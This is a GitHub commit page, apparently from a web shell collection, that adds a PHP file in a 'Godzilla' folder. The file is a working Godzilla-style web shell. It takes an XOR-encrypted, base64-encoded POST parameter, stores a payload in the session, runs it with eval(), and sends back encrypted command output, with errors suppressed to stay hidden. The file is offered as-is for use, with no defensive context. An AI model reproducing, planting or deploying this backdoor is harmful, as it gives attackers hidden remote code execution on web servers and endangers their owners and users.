Skip to content

Commit

Permalink
Create 20220213_03.php
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc authored Feb 13, 2022
1 parent 5f2e172 commit b9f06d9
Showing 1 changed file with 31 additions and 0 deletions.
31 changes: 31 additions & 0 deletions Godzilla/20220213_03.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

0 comments on commit b9f06d9

Please sign in to comment.